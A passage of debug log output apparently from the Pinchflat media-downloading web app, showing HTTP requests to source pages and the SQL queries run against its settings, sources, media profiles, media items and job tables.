livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [10] 21:43:11.635 [debug] QUERY OK source="media_profiles" db=1.4ms queue=0.8ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:11.636 [debug] QUERY OK source="media_items" db=2.7ms queue=0.3ms idle=4.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [10, 10, 0] 21:43:11.638 [debug] QUERY OK source="sources" db=1.3ms queue=0.7ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [3] 21:43:11.639 [debug] QUERY OK source="media_items" db=3.1ms queue=0.1ms idle=3.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [10, 10, 0] 21:43:11.640 [info] Sent 200 in 36ms 21:43:11.640 [debug] QUERY OK source="settings" db=1.0ms queue=0.6ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.642 [debug] QUERY OK source="settings" db=0.9ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.642 [info] Sent 200 in 34ms 21:43:11.643 [debug] QUERY OK source="settings" db=0.3ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.648 [info] Sent 200 in 16ms 21:43:11.803 [info] GET /sources/10/edit 21:43:11.804 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "10"} Pipelines: [:browser] 21:43:11.805 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=166.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:11.806 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=166.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 21:43:11.808 [debug] QUERY OK source="settings" db=0.4ms queue=0.2ms idle=166.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.809 [debug] QUERY OK source="settings" db=0.3ms idle=166.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.810 [debug] QUERY OK source="settings" db=0.3ms idle=166.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.818 [info] Sent 200 in 13ms 21:43:11.857 [info] GET /sources/6/ 21:43:11.857 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "6"} Pipelines: [:browser] 21:43:11.857 [info] GET /sources/6/ 21:43:11.857 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "6"} Pipelines: [:browser] 21:43:11.859 [debug] QUERY OK source="sources" db=1.4ms idle=51.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 21:43:11.859 [debug] QUERY OK source="sources" db=1.6ms idle=51.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 21:43:11.859 [info] GET /sources/6/edit 21:43:11.860 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "6"} Pipelines: [:browser] 21:43:11.861 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.1ms idle=50.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:11.861 [debug] QUERY OK source="media_profiles" db=1.6ms queue=0.4ms idle=51.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:11.862 [info] GET /sources/2/ 21:43:11.862 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 21:43:11.863 [debug] QUERY OK source="tasks" db=1.5ms queue=0.1ms idle=2.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [6, "executing", "available", "scheduled", "retryable"] 21:43:11.863 [debug] QUERY OK source="sources" db=2.4ms queue=0.1ms idle=51.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 21:43:11.864 [debug] QUERY OK source="tasks" db=2.4ms queue=0.3ms idle=2.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [6, "executing", "available", "scheduled", "retryable"] 21:43:11.865 [debug] QUERY OK source="sources" db=1.4ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:43:11.865 [debug] QUERY OK source="oban_jobs" db=0.6ms queue=0.2ms idle=2.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2348] 21:43:11.865 [debug] QUERY OK source="oban_jobs" db=1.0ms queue=0.1ms idle=0.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2348] 21:43:11.866 [debug] QUERY OK source="media_profiles" db=1.2ms queue=0.4ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 21:43:11.866 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:43:11.866 [debug] QUERY OK source="settings" db=0.6ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.867 [debug] QUERY OK source="settings" db=1.0ms queue=0.2ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.867 [debug] QUERY OK source="settings" db=0.9ms queue=0.2ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.868 [debug] QUERY OK source="settings" db=1.0ms queue=0.3ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.868 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.868 [debug] QUERY OK source="tasks" db=0.8ms idle=1.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 21:43:11.868 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.869 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=0.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2347] 21:43:11.869 [debug] QUERY OK source="settings" db=1.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.870 [debug] QUERY OK source="settings" db=0.5ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.871 [debug] QUERY OK source="settings" db=1.6ms queue=0.8ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.871 [debug] QUERY OK source="settings" db=0.9ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.873 [debug] QUERY OK source="sources" db=2.8ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 21:43:11.873 [debug] QUERY OK source="settings" db=2.5ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.875 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 21:43:11.875 [debug] QUERY OK source="media_items" db=1.7ms queue=0.2ms idle=2.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 21:43:11.876 [debug] QUERY OK source="settings" db=1.9ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:11.876 [info] Sent 200 in 16ms 21:43:11.877 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=2.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 21:43:11.879 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=2.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 21:43:11.879 [debug] QUERY OK source="media_items" db=2.8ms queue=0.1ms idle=2.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 21:43:11.881 [debug] QUERY OK source="sources" db=1.0ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:43:11.881 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", 